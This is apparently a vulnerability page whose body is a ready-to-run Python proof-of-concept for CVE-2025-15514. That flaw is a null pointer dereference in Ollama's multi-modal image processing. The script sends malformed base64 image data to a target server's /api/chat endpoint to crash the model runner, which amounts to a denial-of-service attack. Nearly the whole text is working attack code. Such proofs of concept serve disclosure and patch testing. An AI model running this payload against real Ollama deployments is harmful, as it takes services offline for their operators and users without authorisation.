CVE-2025-15514 Ollama多模态图像处理空指针解引用拒绝服务漏洞

import requests import base64 import json # CVE-2025-15514 PoC - Null Pointer Dereference in Ollama Multi-modal Image Processing # Target: Ollama server running with multi-modal model support (e.g., llava, bakllava) TARGET_URL = "http://target:11434/api/chat" MODEL_NAME = "llava" # Generate malformed/invalid image data that will cause mtmd_helper_bitmap_init_from_buf to return NULL # This is a minimal invalid BMP header that will pass base64 but fail bitmap init INVALID_IMAGE_DATA = base64.b64encode( b'\x00\x00\x00\x00\x00\x00\x00\x00' + # Invalid BMP-like header b'\xff\xd9' * 100 # Malformed JPEG end markers ).decode('utf-8') def exploit_cve_2025_15514(): """ Exploit for CVE-2025-15514: Ollama multi-modal image processing null pointer dereference This PoC sends malformed base64 image data via /api/chat endpoint to crash the runner process. """ payload = { "model": MODEL_NAME, "messages": [ { "role": "user", "content": "What do you see in this image?", "images": [INVALID_IMAGE_DATA] } ], "stream": False } try: print(f"[*] Sending malformed image data to {TARGET_URL}") print(f"[*] Target model: {MODEL_NAME}") print(f"[*] Image data length: {len(INVALID_IMAGE_DATA)} bytes (base64)") response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[!] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent successfully - Target may be crashed: {e}") print("[+] The runner process should have crashed due to null pointer dereference") return True return False if __name__ == "__main__": exploit_cve_2025_15514()